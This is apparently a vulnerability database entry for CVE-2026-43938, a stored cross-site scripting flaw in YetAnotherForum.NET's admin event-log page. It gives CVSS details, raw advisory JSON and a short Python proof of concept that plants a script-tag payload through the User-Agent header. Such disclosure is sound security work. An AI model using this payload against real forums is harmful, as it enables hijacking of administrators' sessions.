Security Vulnerability Report
中文
CVE-2026-43938 CVSS 8.1 HIGH

CVE-2026-43938

Published: 2026-05-12 15:16:15
Last Modified: 2026-05-13 18:24:59

Description

YetAnotherForum.NET (YAF.NET) is a C# ASP.NET forum. Prior to 4.0.5 and 3.2.12, the application's database logger (YAFNET.Core/Logger/DbLogger.cs) captures the incoming request's User-Agent header into a JObject, serializes it with JsonConvert, and stores the result in the EventLog.Description column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs) later deserializes that JSON in FormatStackTrace() and interpolates the UserAgent value directly into an HTML string with no encoding, and the Razor view EventLog.cshtml emits the result through @Html.Raw. This vulnerability is fixed in 4.0.5 and 3.2.12.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

YetAnotherForum.NET < 4.0.5
YetAnotherForum.NET < 3.2.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target_url = "http://target-yafnet-url/" # Malicious User-Agent containing XSS payload # Using an img tag is often more reliable than script tags in some contexts, but script works for @Html.Raw malicious_user_agent = '<script>alert("CVE-2026-43938-XSS")</script>' headers = { "User-Agent": malicious_user_agent } try: # Sending a request to trigger an exception or log entry # In a real scenario, one might trigger a 404 or a specific endpoint that logs user agent response = requests.get(target_url + "non-existent-page-to-trigger-error", headers=headers) print(f"Request sent with status code: {response.status_code}") print("Wait for an admin to view the Event Log.") except Exception as e: print(e)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43938", "sourceIdentifier": "[email protected]", "published": "2026-05-12T15:16:15.497", "lastModified": "2026-05-13T18:24:58.737", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "YetAnotherForum.NET (YAF.NET) is a C# ASP.NET forum. Prior to 4.0.5 and 3.2.12, the application's database logger (YAFNET.Core/Logger/DbLogger.cs) captures the incoming request's User-Agent header into a JObject, serializes it with JsonConvert, and stores the result in the EventLog.Description column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs) later deserializes that JSON in FormatStackTrace() and interpolates the UserAgent value directly into an HTML string with no encoding, and the Razor view EventLog.cshtml emits the result through @Html.Raw. This vulnerability is fixed in 4.0.5 and 3.2.12."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-80"}, {"lang": "en", "value": "CWE-116"}]}], "references": [{"url": "https://github.com/YAFNET/YAFNET/security/advisories/GHSA-33gv-fc78-qgf5", "source": "[email protected]"}, {"url": "https://github.com/YAFNET/YAFNET/security/advisories/GHSA-33gv-fc78-qgf5", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}